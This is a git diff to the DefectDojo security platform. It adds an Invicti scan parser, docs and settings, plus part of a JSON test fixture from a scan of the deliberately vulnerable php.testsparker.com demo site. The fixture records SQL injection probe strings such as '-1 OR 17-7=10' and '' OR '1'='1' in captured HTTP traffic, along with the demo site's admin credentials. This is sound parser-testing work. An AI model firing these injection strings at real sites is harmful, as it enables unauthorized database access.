diff --git a/docs/content/en/integrations/parsers/file/invicti.md b/docs/content/en/integrations/parsers/file/invicti.md new file mode 100644 index 0000000000..c0ffda1a48 --- /dev/null +++ b/docs/content/en/integrations/parsers/file/invicti.md @@ -0,0 +1,9 @@ +--- +title: "Invicti" +toc_hide: true +--- +Vulnerabilities List - JSON report + +### Sample Scan Data + +Sample Invicti scans can be found [here](https://github.com/DefectDojo/django-DefectDojo/tree/master/unittests/scans/invicti). diff --git a/docs/content/en/integrations/parsers/file/netsparker.md b/docs/content/en/integrations/parsers/file/netsparker.md index 7e46af07b1..0be436e185 100644 --- a/docs/content/en/integrations/parsers/file/netsparker.md +++ b/docs/content/en/integrations/parsers/file/netsparker.md @@ -4,5 +4,8 @@ toc_hide: true --- Vulnerabilities List - JSON report +[Netsparker has now become Invicti](https://www.invicti.com/blog/news/netsparker-is-now-invicti-signaling-a-new-era-for-modern-appsec/). Please plan to migrate automation scripts to use the [Invicti Scan](../invicti.md) + ### Sample Scan Data + Sample Netsparker scans can be found [here](https://github.com/DefectDojo/django-DefectDojo/tree/master/unittests/scans/netsparker). \ No newline at end of file diff --git a/dojo/settings/.settings.dist.py.sha256sum b/dojo/settings/.settings.dist.py.sha256sum index 878a104af5..b6e48ee437 100644 --- a/dojo/settings/.settings.dist.py.sha256sum +++ b/dojo/settings/.settings.dist.py.sha256sum @@ -1 +1 @@ -5adedc433a342d675492b86dc18786f72e167115f9718a397dc9b91c5fdc9c94 +1a74292fc58b2bd05c763c8c126b0b35888e2a6f8ef9ab2588bb6c8589987c9c diff --git a/dojo/settings/settings.dist.py b/dojo/settings/settings.dist.py index ebf0283dd6..41f0631fa4 100644 --- a/dojo/settings/settings.dist.py +++ b/dojo/settings/settings.dist.py @@ -1279,6 +1279,7 @@ def saml2_attrib_map_format(dict): "AppCheck Web Application Scanner": ["title", "severity"], "Legitify Scan": ["title", "endpoints", "severity"], "ThreatComposer Scan": ["title", "description"], + "Invicti Scan": ["title", "description", "severity"], } # Override the hardcoded settings here via the env var @@ -1503,6 +1504,7 @@ def saml2_attrib_map_format(dict): "AppCheck Web Application Scanner": DEDUPE_ALGO_HASH_CODE, "Legitify Scan": DEDUPE_ALGO_HASH_CODE, "ThreatComposer Scan": DEDUPE_ALGO_UNIQUE_ID_FROM_TOOL_OR_HASH_CODE, + "Invicti Scan": DEDUPE_ALGO_HASH_CODE, } # Override the hardcoded settings here via the env var diff --git a/dojo/tools/invicti/__init__.py b/dojo/tools/invicti/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/dojo/tools/invicti/parser.py b/dojo/tools/invicti/parser.py new file mode 100644 index 0000000000..93854d9a2d --- /dev/null +++ b/dojo/tools/invicti/parser.py @@ -0,0 +1,20 @@ +from dojo.tools.netsparker.parser import NetsparkerParser + + +class InvictiParser(NetsparkerParser): + def get_scan_types(self): + return ["Invicti Scan"] + + def get_label_for_scan_types(self, scan_type): + return "Invicti Scan" + + def get_description_for_scan_types(self, scan_type): + return "Invicti JSON format." + + def get_findings(self, filename, test): + """Extended the NetSparker Parser since the Invicti is the a renamed version of Netsparker. + + If there are deviations from the two report formats in the future, then this + function can be implemented then. + """ + return super().get_findings(filename, test) diff --git a/unittests/scans/invicti/invicti_many_findings.json b/unittests/scans/invicti/invicti_many_findings.json new file mode 100644 index 0000000000..c1a1bef778 --- /dev/null +++ b/unittests/scans/invicti/invicti_many_findings.json @@ -0,0 +1,4681 @@ +{ + "Generated": "25/06/2021 10:00 AM", + "Target": { + "Duration": "00:12:24.8161163", + "Initiated": "25/06/2021 01:46 AM", + "ScanId": "ee9136920f6243486d12ad5104e2f745", + "Url": "http://php.testsparker.com/" + }, + "Vulnerabilities": [ + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "107", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "5.7" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.5" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.5" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "16", + "Hipaa": "", + "Owasp": "A5", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "15" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise identified a cookie not marked as HTTPOnly.

\n

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "PHPSESSID" + }, + { + "Name": "Cookie Source", + "Value": "HTTP Header" + }, + { + "Name": "Page Type", + "Value": "Login" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET /auth/login.php HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nReferer: http://php.testsparker.com/auth/\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d; path=/\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nContent-Length: 3061\r\nX-Powered-By: PHP/5.2.6\r\nPragma: no-cache\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nKeep-Alive: timeout=5, max=150\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:36 GMT\r\nCache-Control: no-store, must-revalidate, no-cache, post-check=0, pre-check=0\r\n\r\n\n\n\n\n\n\n\nNetsparker Test Web Site - PHP\n\n\n
\n \n\t
\n\t\t\n\t
\n\t\n\t
\n\n\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t

Login Area

\n\t\t\t\t\t

\n Enter your credentials (admin / admin123456)\n
\n

\n Username: \n
\n Password:  \n\n\n
\n\t \n
\n \n
\n

\n\n\t\t\t\t
 
\n\t\t\t\t
\n\n\n\t\t\t\t
\n\t\t\t
\n\t\t
 
\n\t\t
\n\t\t\n\t \n\t
\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t
     
    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Tags

    \n\t\t\t\t\t

    netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion

    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Inner Pages

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Links

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\n\t\t\t
\n\t\t
\t\t\n\t\t
 
\n\t
\n\t
\n\t
\n\t\n
\nv\n
\n\t\t

Copyright (c) 2010 testsparker.com. All rights reserved. Design by Free CSS Templates.

\n\t
\t\n\n\n", + "Duration": 41.4849, + "StatusCode": 200 + }, + "LookupId": "735f4503-e9eb-4b4c-4306-ad49020a4c4b", + "Impact": "
During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Cookie Not Marked as HttpOnly", + "ProofOfConcept": "", + "RemedialActions": "
\n
    \n
  1. See the remedy for solution.
  2. \n
  3. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
  4. \n
\n
", + "RemedialProcedure": "
Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "CookieNotMarkedAsHttpOnly", + "Url": "http://php.testsparker.com/auth/login.php" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "66", + "Cvss": { + "BaseScore": { + "Severity": 4, + "Type": "Base", + "Value": "10.0" + }, + "EnvironmentalScore": { + "Severity": 4, + "Type": "Environmental", + "Value": "10.0" + }, + "TemporalScore": { + "Severity": 4, + "Type": "Temporal", + "Value": "10.0" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + }, + "Cvss31": { + "BaseScore": { + "Severity": 4, + "Type": "Base", + "Value": "10.0" + }, + "EnvironmentalScore": { + "Severity": 4, + "Type": "Environmental", + "Value": "10.0" + }, + "TemporalScore": { + "Severity": 4, + "Type": "Temporal", + "Value": "10.0" + }, + "Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + }, + "Cwe": "89", + "Hipaa": "164.306(a), 164.308(a)", + "Owasp": "A1", + "OwaspProactiveControls": "", + "Pci32": "6.5.1", + "Wasc": "19" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise identified a Boolean-Based SQL Injection, which occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

\n

This is an extremely common vulnerability and its successful exploitation can have critical implications.

\n

Netsparker Enterprise confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Netsparker Enterprise to identify and confirm the SQL injection.

Proof of Exploit

Identified Database Name

sqlibench

Identified Database User

root@localhost

Identified Database Version

5.0.51b-community-nt-log
", + "ExploitationSkills": "
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
", + "ExternalReferences": "
", + "ExtraInformation": [], + "FirstSeenDate": "16/06/2021 12:38 PM", + "HttpRequest": { + "Content": "GET /artist.php?id=-1%20OR%2017-7%3d10 HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.php?file=Generics/index.nsp\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [ + { + "Name": "id", + "Type": "Querystring", + "Value": "-1 OR 17-7=10", + "Vulnerable": true + } + ] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nDate: Thu, 24 Jun 2021 22:51:27 GMT\r\n\r\n\n\n\n\n\n\n\nNetsparker Test Web Site - PHP\n\n\n\n
\n \n\t
\n\t\t\n\t
\n\t\n\t
\n\n\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t

Artist Service

\n\n\t\t\t\t
 
\n\t\t\t\t
\n\t\t\t\t\t

\n \n

Results: -1 OR 17-7=10


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
IDNameSURNAMECREATION DATE
2 NICK WAHLBERG 2006-02-15 04:34:33
3 ED CHASE 2006-02-15 04:34:33
4 JENNIFER DAVIS 2006-02-15 04:34:33
5 JOHNNY LOLLOBRIGIDA 2006-02-15 04:34:33
6 BETTE NICHOLSON 2006-02-15 04:34:33
7 GRACE MOSTEL 2006-02-15 04:34:33
8 MATTHEW JOHANSSON 2006-02-15 04:34:33
9 JOE SWANK 2006-02-15 04:34:33
10 CHRISTIAN GABLE 2006-02-15 04:34:33
11 ZERO CAGE 2006-02-15 04:34:33
12 KARL BERRY 2006-02-15 04:34:33
13 UMA WOOD 2006-02-15 04:34:33
14 VIVIEN BERGEN 2006-02-15 04:34:33
15 CUBA OLIVIER 2006-02-15 04:34:33
16 FRED COSTNER 2012-03-13 12:14:54 22
17 HELEN VOIGHT 2012-03-13 12:14:54 22
18 DAN TORN 2012-03-13 12:14:54 22
19 BOB FAWCETT 2012-03-13 12:14:54 22
20 LUCILLE TRACY 2012-03-13 12:14:54 22
21 KIRSTEN PALTROW 2012-03-13 12:14:54 22
22 ELVIS MARX 2012-03-13 12:14:54 22
23 SANDRA KILMER 2012-03-13 12:14:54 22
24 CAMERON STREEP 2012-03-13 12:14:54 22
25 KEVIN BLOOM 2012-03-13 12:14:54 22
26 RIP CRAWFORD 2012-03-13 12:14:54 22
27 JULIA MCQUEEN 2012-03-13 12:14:54 22
28 WOODY HOFFMAN 2012-03-13 12:14:54 22
29 ALEC WAYNE 2012-03-13 12:14:54 22
30 SANDRA PECK 2012-03-13 12:14:54 22
31 SISSY SOBIESKI 2012-03-13 12:14:54 22
32 TIM HACKMAN 2012-03-13 12:14:54 22
33 MILLA PECK 2012-03-13 12:14:54 22
34 AUDREY OLIVIER 2012-03-13 12:14:54 22
35 JUDY DEAN 2012-03-13 12:14:54 22
36 BURT DUKAKIS 2012-03-13 12:14:54 22
37 VAL BOLGER 2012-03-13 12:14:54 22
38 TOM MCKELLEN 2012-03-13 12:14:54 22
39 GOLDIE BRODY 2012-03-13 12:14:54 22
40 JOHNNY CAGE 2012-03-13 12:14:54 22
41 JODIE DEGENERES 2012-03-13 12:14:54 22
42 TOM MIRANDA 2012-03-13 12:14:54 22
43 KIRK JOVOVICH 2012-03-13 12:14:54 22
44 NICK STALLONE 2012-03-13 12:14:54 22
45 REESE KILMER 2012-03-13 12:14:54 22
46 PARKER GOLDBERG 2012-03-13 12:14:54 22
47 JULIA BARRYMORE 2012-03-13 12:14:54 22
48 FRANCES DAY-LEWIS 2012-03-13 12:14:54 22
49 ANNE CRONYN 2012-03-13 12:14:54 22
50 NATALIE HOPKINS 2012-03-13 12:14:54 22
51 GARY PHOENIX 2012-03-13 12:14:54 22
52 CARMEN HUNT 2012-03-13 12:14:54 22
53 MENA TEMPLE 2012-03-13 12:14:54 22
54 PENELOPE PINKETT 2012-03-13 12:14:54 22
55 FAY KILMER 2012-03-13 12:14:54 22
56 DAN HARRIS 2012-03-13 12:14:54 22
57 JUDE CRUISE 2012-03-13 12:14:54 22
58 CHRISTIAN AKROYD 2012-03-13 12:14:54 22
59 DUSTIN TAUTOU 2012-03-13 12:14:54 22
60 HENRY BERRY 2012-03-13 12:14:54 22
61 CHRISTIAN NEESON 2012-03-13 12:14:54 22
62 JAYNE NEESON 2012-03-13 12:14:54 22
63 CAMERON WRAY 2012-03-13 12:14:54 22
64 RAY JOHANSSON 2012-03-13 12:14:54 22
65 ANGELA HUDSON 2012-03-13 12:14:54 22
66 MARY TANDY 2012-03-13 12:14:54 22
67 JESSICA BAILEY 2012-03-13 12:14:54 22
68 RIP WINSLET 2012-03-13 12:14:54 22
69 KENNETH PALTROW 2012-03-13 12:14:54 22
70 MICHELLE MCCONAUGHEY 2012-03-13 12:14:54 22
71 ADAM GRANT 2012-03-13 12:14:54 22
72 SEAN WILLIAMS 2012-03-13 12:14:54 22
73 GARY PENN 2012-03-13 12:14:54 22
74 MILLA KEITEL 2012-03-13 12:14:54 22
75 BURT POSEY 2012-03-13 12:14:54 22
76 ANGELINA ASTAIRE 2012-03-13 12:14:54 22
77 CARY MCCONAUGHEY 2012-03-13 12:14:54 22
78 GROUCHO SINATRA 2012-03-13 12:14:54 22
79 MAE HOFFMAN 2012-03-13 12:14:54 22
80 RALPH CRUZ 2012-03-13 12:14:54 22
81 SCARLETT DAMON 2012-03-13 12:14:54 22
82 WOODY JOLIE 2012-03-13 12:14:54 22
83 BEN WILLIS 2012-03-13 12:14:54 22
84 JAMES PITT 2012-03-13 12:14:54 22
85 MINNIE ZELLWEGER 2012-03-13 12:14:54 22
86 GREG CHAPLIN 2012-03-13 12:14:54 22
87 SPENCER PECK 2012-03-13 12:14:54 22
88 KENNETH PESCI 2012-03-13 12:14:54 22
89 CHARLIZE DENCH 2012-03-13 12:14:54 22
90 SEAN GUINESS 2012-03-13 12:14:54 22
91 CHRISTOPHER BERRY 2012-03-13 12:14:54 22
92 KIRSTEN AKROYD 2012-03-13 12:14:54 22
93 ELLEN PRESLEY 2012-03-13 12:14:54 22
94 KENNETH TORN 2012-03-13 12:14:54 22
95 DARYL WAHLBERG 2012-03-13 12:14:54 22
96 GENE WILLIS 2012-03-13 12:14:54 22
97 MEG HAWKE 2012-03-13 12:14:54 22
98 CHRIS BRIDGES 2012-03-13 12:14:54 22
99 JIM MOSTEL 2012-03-13 12:14:54 22
100 SPENCER DEPP 2012-03-13 12:14:54 22
101 SUSAN DAVIS 2012-03-13 12:14:54 22
102 WALTER TORN 2012-03-13 12:14:54 22
103 MATTHEW LEIGH 2012-03-13 12:14:54 22
104 PENELOPE CRONYN 2012-03-13 12:14:54 22
105 SIDNEY CROWE 2012-03-13 12:14:54 22
106 GROUCHO DUNST 2012-03-13 12:14:54 22
107 GINA DEGENERES 2012-03-13 12:14:54 22
108 WARREN NOLTE 2012-03-13 12:14:54 22
109 SYLVESTER DERN 2012-03-13 12:14:54 22
110 SUSAN DAVIS 2012-03-13 12:14:54 22
111 CAMERON ZELLWEGER 2012-03-13 12:14:54 22
112 RUSSELL BACALL 2012-03-13 12:14:54 22
113 MORGAN HOPKINS 2012-03-13 12:14:54 22
114 MORGAN MCDORMAND 2012-03-13 12:14:54 22
115 HARRISON BALE 2012-03-13 12:14:54 22
116 DAN STREEP 2012-03-13 12:14:54 22
117 RENEE TRACY 2012-03-13 12:14:54 22
118 CUBA ALLEN 2012-03-13 12:14:54 22
119 WARREN JACKMAN 2012-03-13 12:14:54 22
120 PENELOPE MONROE 2012-03-13 12:14:54 22
121 LIZA BERGMAN 2012-03-13 12:14:54 22
122 SALMA NOLTE 2012-03-13 12:14:54 22
123 JULIANNE DENCH 2012-03-13 12:14:54 22
124 SCARLETT BENING 2012-03-13 12:14:54 22
125 ALBERT NOLTE 2012-03-13 12:14:54 22
126 FRANCES TOMEI 2012-03-13 12:14:54 22
127 KEVIN GARLAND 2012-03-13 12:14:54 22
128 CATE MCQUEEN 2012-03-13 12:14:54 22
129 DARYL CRAWFORD 2012-03-13 12:14:54 22
130 GRETA KEITEL 2012-03-13 12:14:54 22
131 JANE JACKMAN 2012-03-13 12:14:54 22
132 ADAM HOPPER 2012-03-13 12:14:54 22
133 RICHARD PENN 2012-03-13 12:14:54 22
134 GENE HOPKINS 2012-03-13 12:14:54 22
135 RITA REYNOLDS 2012-03-13 12:14:54 22
136 ED MANSFIELD 2012-03-13 12:14:54 22
137 MORGAN WILLIAMS 2012-03-13 12:14:54 22
138 LUCILLE DEE 2012-03-13 12:14:54 22
139 EWAN GOODING 2012-03-13 12:14:54 22
140 WHOOPI HURT 2012-03-13 12:14:54 22
141 CATE HARRIS 2012-03-13 12:14:54 22
142 JADA RYDER 2012-03-13 12:14:54 22
143 RIVER DEAN 2012-03-13 12:14:54 22
144 ANGELA WITHERSPOON 2012-03-13 12:14:54 22
145 KIM ALLEN 2012-03-13 12:14:54 22
146 ALBERT JOHANSSON 2012-03-13 12:14:54 22
147 FAY WINSLET 2012-03-13 12:14:54 22
148 EMILY DEE 2012-03-13 12:14:54 22
149 RUSSELL TEMPLE 2012-03-13 12:14:54 22
150 JAYNE NOLTE 2012-03-13 12:14:54 22
151 GEOFFREY HESTON 2012-03-13 12:14:54 22
152 BEN HARRIS 2012-03-13 12:14:54 22
153 MINNIE KILMER 2012-03-13 12:14:54 22
154 MERYL GIBSON 2012-03-13 12:14:54 22
155 IAN TANDY 2012-03-13 12:14:54 22
156 FAY WOOD 2012-03-13 12:14:54 22
157 GRETA MALDEN 2012-03-13 12:14:54 22
158 VIVIEN BASINGER 2012-03-13 12:14:54 22
159 LAURA BRODY 2012-03-13 12:14:54 22
160 CHRIS DEPP 2012-03-13 12:14:54 22
161 HARVEY HOPE 2012-03-13 12:14:54 22
162 OPRAH KILMER 2012-03-13 12:14:54 22
163 CHRISTOPHER WEST 2012-03-13 12:14:54 22
164 HUMPHREY WILLIS 2012-03-13 12:14:54 22
165 AL GARLAND 2012-03-13 12:14:54 22
166 NICK DEGENERES 2012-03-13 12:14:54 22
167 LAURENCE BULLOCK 2012-03-13 12:14:54 22
168 WILL WILSON 2012-03-13 12:14:54 22
169 KENNETH HOFFMAN 2012-03-13 12:14:54 22
170 MENA HOPPER 2012-03-13 12:14:54 22
171 OLYMPIA PFEIFFER 2012-03-13 12:14:54 22
172 GROUCHO WILLIAMS 2012-03-13 12:14:54 22
173 ALAN DREYFUSS 2012-03-13 12:14:54 22
174 MICHAEL BENING 2012-03-13 12:14:54 22
175 WILLIAM HACKMAN 2012-03-13 12:14:54 22
176 JON CHASE 2012-03-13 12:14:54 22
177 GENE MCKELLEN 2012-03-13 12:14:54 22
178 LISA MONROE 2012-03-13 12:14:54 22
179 ED GUINESS 2012-03-13 12:14:54 22
180 JEFF SILVERSTONE 2012-03-13 12:14:54 22
181 MATTHEW CARREY 2012-03-13 12:14:54 22
182 DEBBIE AKROYD 2012-03-13 12:14:54 22
183 RUSSELL CLOSE 2012-03-13 12:14:54 22
184 HUMPHREY GARLAND 2012-03-13 12:14:54 22
185 MICHAEL BOLGER 2012-03-13 12:14:54 22
186 JULIA ZELLWEGER 2012-03-13 12:14:54 22
187 RENEE BALL 2012-03-13 12:14:54 22
188 ROCK DUKAKIS 2012-03-13 12:14:54 22
189 CUBA BIRCH 2012-03-13 12:14:54 22
190 AUDREY BAILEY 2012-03-13 12:14:54 22
191 GREGORY GOODING 2012-03-13 12:14:54 22
192 JOHN SUVARI 2012-03-13 12:14:54 22
193 BURT TEMPLE 2012-03-13 12:14:54 22
194 MERYL ALLEN 2012-03-13 12:14:54 22
195 JAYNE SILVERSTONE 2012-03-13 12:14:54 22
196 BELA WALKEN 2012-03-13 12:14:54 22
197 REESE WEST 2012-03-13 12:14:54 22
198 MARY KEITEL 2012-03-13 12:14:54 22
199 JULIA FAWCETT 2012-03-13 12:14:54 22
200 THORA TEMPLE 2012-03-13 12:14:54 22
412 -1 OR 1=1 test 2012-03-13 12:14:54 22
413 -1 OR 1=1 test 2012-03-13 12:14:54 22
414 NS1NO test 2012-03-13 12:14:54 22
415 1 AND 'NS='ss test 2012-03-13 12:14:54 22
416 ' OR 'ns'='ns test 2012-03-13 12:14:54 22
417 -1 OR 17-7=10 test 2012-03-13 12:14:54 22
418 1 OR X='ss test 2012-03-13 12:14:54 22
419 ' OR '1'='1 test 2012-03-13 12:14:54 22
420 ' OR '1'='1 test 2012-03-13 12:14:54 22

\n\n\t\t\t\t
\n\t\t\t
\n\t\t
 
\n\t\t
\n\t\t\n\t \n\t
\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t
     
    \n\t\t\t\t
  • \n\t\t\t\t
